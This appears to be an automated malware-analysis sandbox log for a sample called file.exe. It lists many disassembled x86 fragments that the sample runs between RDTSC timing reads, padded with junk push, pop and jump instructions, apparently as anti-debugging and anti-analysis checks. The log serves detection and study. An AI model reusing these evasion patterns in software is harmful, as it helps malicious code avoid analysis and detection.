Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56240D second address: 562424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF7B4BE4C3Dh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562424 second address: 562428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562531 second address: 56253C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56253C second address: 56255B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007FF7B4BDD211h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562C65 second address: 562C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56BDD1 second address: 56BDE0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FF7B4BDD206h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56BDE0 second address: 56BDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AAAF second address: 56AAB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AAB5 second address: 56AAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AD7B second address: 56AD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF7B4BDD206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B1AF second address: 56B1EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FF7B4BE4C3Eh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FF7B4BE4C43h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B1EA second address: 56B1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B1F0 second address: 56B1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jne 00007FF7B4BE4C44h 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B1FF second address: 56B205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A7F5 second address: 56A803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF7B4BE4C36h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A803 second address: 56A816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF7B4BDD206h 0x0000000a jg 00007FF7B4BDD206h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B7D5 second address: 56B7F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C47h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F332 second address: 56F33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF7B4BDD206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5715D8 second address: 5715E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6FE5 second address: 4E6FFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD215h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6FFE second address: 4E700E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FF7B4BE4C3Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57445F second address: 574465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57483A second address: 574842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578121 second address: 578126 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D370 second address: 57D37E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FF7B4BE4C42h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D4F7 second address: 57D4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D4FC second address: 57D503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D503 second address: 57D509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DAAA second address: 57DAB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF7B4BE4C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DAB4 second address: 57DAB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DAB8 second address: 57DAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C47h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DAD5 second address: 57DADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5288C7 second address: 5288E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FF7B4BE4C36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5288E6 second address: 5288EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5288EA second address: 52890C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF7B4BE4C48h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52890C second address: 528988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FF7B4BDD20Ah 0x0000000f mov ebx, dword ptr [ebp+12487BAAh] 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FF7B4BDD208h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f mov cx, di 0x00000032 add eax, ebx 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FF7B4BDD208h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e xor cl, FFFFFFA7h 0x00000051 sub dword ptr [ebp+122D3143h], ebx 0x00000057 nop 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FF7B4BDD20Eh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DD74 second address: 57DD90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C47h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DD90 second address: 57DDA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BDD210h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DDA6 second address: 57DDAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582185 second address: 58218F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58218F second address: 582195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5822D8 second address: 5822DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5822DD second address: 5822E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5824A0 second address: 5824A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582764 second address: 582772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582772 second address: 58278B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FF7B4BDD210h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58278B second address: 58279C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B6AF second address: 58B6C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF7B4BDD210h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589EDB second address: 589EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589EE1 second address: 589F22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF7B4BDD215h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF7B4BDD215h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push edx 0x00000014 jnl 00007FF7B4BDD206h 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A248 second address: 58A24D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A24D second address: 58A253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A253 second address: 58A276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FF7B4BE4C44h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A276 second address: 58A284 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A284 second address: 58A288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A288 second address: 58A28C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A28C second address: 58A2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C47h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A536 second address: 58A540 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF7B4BDD206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A540 second address: 58A546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AAEF second address: 58AB02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AB02 second address: 58AB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jo 00007FF7B4BE4C36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FA89 second address: 58FA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FA8F second address: 58FAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C3Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FD65 second address: 58FD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jl 00007FF7B4BDD206h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590024 second address: 59002A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590156 second address: 59015A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59015A second address: 590178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF7B4BE4C48h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590178 second address: 59017D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59017D second address: 590192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007FF7B4BE4C38h 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590403 second address: 590407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590407 second address: 59040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595429 second address: 595439 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF7B4BDD206h 0x00000008 jno 00007FF7B4BDD206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595439 second address: 595441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C5C5 second address: 59C5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C5C9 second address: 59C5E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CB78 second address: 59CB82 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF7B4BDD20Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CB82 second address: 59CB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007FF7B4BE4C36h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CB90 second address: 59CBB6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF7B4BDD206h 0x00000008 jmp 00007FF7B4BDD20Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jp 00007FF7B4BDD206h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CBB6 second address: 59CBCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C42h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CBCC second address: 59CBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D39F second address: 59D3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C180 second address: 59C19A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF7B4BDD206h 0x00000008 js 00007FF7B4BDD206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FF7B4BDD206h 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A651C second address: 5A6530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jno 00007FF7B4BE4C36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6530 second address: 5A655A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FF7B4BDD206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FF7B4BDD219h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B34E0 second address: 5B34E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B34E6 second address: 5B34ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B335D second address: 5B3362 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4D60 second address: 5B4D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4D64 second address: 5B4D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FF7B4BE4C45h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4D84 second address: 5B4D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B92B5 second address: 5B92B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCAB1 second address: 5BCAB7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C352E second address: 5C3543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF7B4BE4C36h 0x0000000a pop edi 0x0000000b jmp 00007FF7B4BE4C3Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBFFA second address: 5CC007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D38C5 second address: 5D38EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C3Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF7B4BE4C41h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3FF5 second address: 5D3FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3FFC second address: 5D400E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF7B4BE4C3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAF10 second address: 5EAF16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAF16 second address: 5EAF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
